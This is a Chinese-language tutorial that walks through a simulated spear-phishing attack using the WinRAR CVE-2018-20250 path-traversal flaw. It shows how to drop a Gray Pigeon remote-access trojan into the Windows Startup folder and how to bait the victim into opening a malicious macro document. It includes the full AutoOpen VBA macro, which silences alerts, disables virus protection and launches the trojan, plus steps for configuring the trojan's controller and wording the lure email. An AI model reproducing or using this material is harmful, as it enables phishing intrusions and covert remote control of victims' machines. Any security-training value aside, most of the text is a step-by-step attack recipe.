利用漏洞CVE-2018-20250模拟一次鱼叉式钓鱼邮件攻击
利用漏洞CVE-2018-20250模拟一次鱼叉式钓鱼邮件攻击
- 1 概述
- 2 实现流程:
- 2.1 具有恶意宏代码的docm文档编写
- 2.2 利用CVE-2018-20250形成ACE压缩包
- 2.3 邮件编写
- 3 演示
- 4 附录
1 概述
我们将向目标发送一封带有附件的钓鱼邮件,该附件是一个rar压缩包,该压缩包是利用CVE-2018-20250漏洞压缩而成的,包含有一些正常的具有迷惑性的txt文件等、一个具有恶意宏代码并启用宏的docm文档、灰鸽子服务端程序。
当目标收到邮件,将(被诱导)进行以下操作:
(1)将附件rar压缩文件保存在C:\Users[当前用户]…类似目录下(如桌面目录C:\Users[当前用户]\Desktop);
(2)使用仍未修复相关漏洞的旧版本解压缩工具(如WinRAR 5.61及更老版本)来解压缩该压缩包,打开压缩包进行预览时只能看到一些正常的txt文件等以及一个名字具有诱惑性的docm文件,而灰鸽子服务端程序被隐藏在一个很深的目录下,目标默认将文件解压到压缩包同一目录下(即桌面),桌面上只能看到一个包含正常txt文件等及docm文件的文件夹,而灰鸽子服务端程序则因触发漏洞而被解压到 “C:\Users[当前用户]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\” 下(即系统开机自启动目录),并被命名为hi.exe。
(3)目标被诱导点开docm文档并同意启用宏,宏代码自动运行获取用户文件目录“C:\Users[用户名]”并形成hi.exe所在路径,然后运行hi.exe,灰鸽子安装成功,目标上线。
之所以将hi.exe放入了自启动目录但我们仍要使用宏代码直接运行,是担心目标系统长时间不关机(只休眠),让目标立即上线免得攻击方还需要一直等待。
2 实现流程:
由概述中所描述的内容,我们可以将这次任务分成三方面的工作:docm的编写、压缩包的形成、邮件的编写。
2.1 具有恶意宏代码的docm文档编写
将代码写在 AutoOpen() 下,使代码能够在目标打开docm文档时就自动运行。
首先还是恶意宏代码的自我保护部分,虽然这个宏里要写的代码很少,但还是加上为好。
弹个对话框,象征恶意宏代码开始运行。
由概述中所说,我们要运行的hi.exe保存在“C:\Users[当前用户]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\”目录下,因此先需要获取当前用户文件目录(或用户名)。
调用Environ()函数,获取用户文件目录USERPROFILE。
拼接字符串获得hi.exe的完整路径。
使用Shell()函数运行该exe文件。
2.2 利用CVE-2018-20250形成ACE压缩包
利用该漏洞形成ACE压缩包的代码地址为:https://github.com/WyAtu/CVE-2018-20250,该工程的目录如下:
该漏洞存在于压缩工具使用的UNACEV2.dll中,acefile.py是利用该漏洞的代码;exp.py是调用acefile.py将恶意代码和用于迷惑目标的文件压缩在一起的代码;calc.exe在这里作为恶意代码;hello.txt和world.txt都是会被压进压缩包的无恶意迷惑性文件。
我们先使用灰鸽子生成一个服务端程序,点击“配置服务程序”。
填写控制端IP地址。这里是在局域网内进行攻击,如果不在局域网内,需要做内网端口映射,将攻击端的内网地址映射成外网地址的一个端口。
安装选项中按照需求自行选择。
然后点击“生成服务器”生成服务端程序。
然后我们将Server.exe和刚写好的docm文件都复制到漏洞利用代码的同一目录下,现在该目录的内容如下:
此外,我们需要稍微修改下exp.py,evil_filename是要添加进去的恶意代码路径,filename_list是需要一起加进去的迷惑性文件,我们把编写的docm文件也假装成一个正常文档加进去。rar_filename是最后形成的rar文件名,可改成更合适钓鱼的文件名。
还需要修改一下os.popen()中的参数,作者运行代码的环境为python 3.7,,使用“py -3 [filename] …”运行py文件,而我这里需要使用“python [filename] …”(这应该是环境变量设置的问题)运行。
运行代码生成rar文件。
2.3 邮件编写
将上面形成的rar作为附件添加,填入合适的主题和内容,然后加一句关于附件保存路径的提醒(该漏洞的利用要求目标将附件保存在“C:\Users[当前用户]…”下)。
3 演示
攻击方操作系统: Windows 7 x64
攻击方IP地址: 192.168.197.131
被攻击方操作系统: Windows 7 x64
被攻击方解压缩工具: WinRAR 5.61
被攻击方已收到邮件,并按注释所说将附件保存在桌面。
打开压缩包查看,没有什么恶意代码迹象。
解压到默认目录(即压缩包同一目录下,即桌面)。
目标打开docm文档。
弹出“Hello!”对话框,意味着恶意宏代码已自动正常执行。点击确定。
查看攻击端灰鸽子。
看到服务端上线,能够查看到桌面上有test.rar,也能够进行其他灰鸽子支持的操作(如捕获屏幕、视频语音等)。
4 附录
附VBA代码:
Sub AutoOpen()On Error Resume Next '如果发生错误,不弹出出错窗口,继续执行下面语句Application.DisplayAlerts = wdAlertsNone '不弹出警告窗口Application.DisplayStatusBar = False '不显示状态栏,以免显示宏的运行状态Options.VirusProtection = False '关闭病毒保护功能,运行前如果包含宏,不提示Options.SaveNormalPrompt = False '如果公用模块被修改,不给用户提示窗口而直接保存Application.ScreenUpdating = False '不让刷新屏幕,以免病毒运行引起速度变慢Application.EnableCancelKey = wdCancelDisabled '不允许通过ESC键结束正在运行的宏MsgBox ("Hello!")Dim UserProFileUserProFile = Environ("USERPROFILE") '获取用户文件目录:C:\Users\***Dim PathPath = UserProFile + "\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hi.exe" '被保存在自启动目录下的恶意代码路径Shell (Path) '运行恶意代码End Sub
利用漏洞CVE-2018-20250模拟一次鱼叉式钓鱼邮件攻击相关推荐
- 钓鱼基础设施的应用分析(钓鱼邮件利用、Gophish)
钓鱼常用字符替换集 0x00 前言 邮件钓鱼攻击是一种常见的网络攻击方法,无论是广撒网式的"大海捞鱼",还是极具精准化.定制化的鱼叉式钓鱼,都越来越普遍. 在红蓝模拟对抗的场景下, ...
- 95 后大学生利用漏洞免费吃肯德基获刑
程序猿的圈子里总有个各种各样的大神,有着天马行空的创造力和想象力,奉献着各种让人眼前一亮的新技术. 但是总有一些人,不好好使用自己的才华,往往将自己的一些小聪明用在不该用的地方.像小编之前给大家介绍过 ...
- 95后大学生利用漏洞免费吃肯德基获刑;Linux内核初步支持苹果M1;Android Studio 4.2 发布|极客头条...
「极客头条」-- 技术人员的新闻圈! CSDN 的读者朋友们早上好哇,「极客头条」来啦,快来看今天都有哪些值得我们技术人关注的重要新闻吧. 整理 | 梦依丹 出品 | CSDN(ID:CSDNnews ...
- CISA已遭利用漏洞列表新增15个漏洞
聚焦源代码安全,网罗国内外最新资讯! 编译:代码卫士 美国网络安全和基础设施安全局 (CISA) 在已遭利用漏洞清单上新增15个漏洞.CISA 督促所有系统管理员优先安装这些漏洞的安全更新,否则将导 ...
- CISA 已遭利用漏洞列表新增17项
聚焦源代码安全,网罗国内外最新资讯! 编译:代码卫士 本周,网络安全和基础设施安全局 (CISA) 在"已知已利用漏洞分类" 中新增了17个已遭利用的漏洞. "已知已利 ...
- 美国CISA 列出300个已遭利用漏洞,督促组织机构及时修复
聚焦源代码安全,网罗国内外最新资讯! 编译:代码卫士 当地时间本周三,美国网络安全和基础设施安全局 (CISA) 发布了一份包含约300个已遭利用的漏洞清单,同时发布绑定操作指令 (BOD),指导政 ...
- CISA必修列表未收录数十个已遭利用漏洞
聚焦源代码安全,网罗国内外最新资讯! 编译:代码卫士 漏洞情报公司VulnCheck 分析发现,很可能已遭在野利用的数十个漏洞在由CISA维护的"已知遭利用漏洞"分类列表中消失了 ...
- 1500万公开服务易受 CISA 已知已遭利用漏洞攻击
聚焦源代码安全,网罗国内外最新资讯! 编译:代码卫士 Rezilion 公司发布报告称,超过1500万家公开服务至少易受CISA 已知已利用漏洞 (KEV) 分类清单(共896个)中一种漏洞的影响. ...
- 微软发布警告:黑客利用Office漏洞发动垃圾邮件攻击
点击上方"民工哥技术之路"选择"置顶或星标" 每天10点为你分享不一样的干货 原文:http://tech.qq.com/a/20190610/001746.h ...
最新文章
- Hibernate配置详解
- Linux操作系统下利用SSH进行远程控制
- Scala 基础(4)—— 类和对象
- mybatis简单案例源码详细【注释全面】——实体层(Role.java)
- Python钉钉报警及Zabbix集成钉钉报警
- python绘图数字_绘制一个绘图,其中Yaxis文本数据(非数字)和Xaxis数字d
- Maven setting.xml 配置详解
- TensorFlow2.0: keras.metrics的使用
- iphone pageController 的实现
- 程序员思维看爱情是什么?
- 演示Eclipse插件实现代码提示和补全
- ffmpeg文档5:同步视频
- 分布式系统关注点——99%的人都能看懂的「熔断」以及最佳实践
- java创建实体 内存_加载Java实体时内存不足
- Mac下Docker镜像加速
- 2022年小米产业链研究报告
- 一款号称最适合程序员的编程字体(JetBrains Mono)专为开发人员设计。
- 北京师范大学网络教育计算机考试题,2020年北京师范大学网络教育入学考试高起专语文模拟题及答案(机考古文阅读)...
- lzg_ad:如何自定义Shell组件
- 深入Bert实战(Pytorch)----WordPiece Embeddings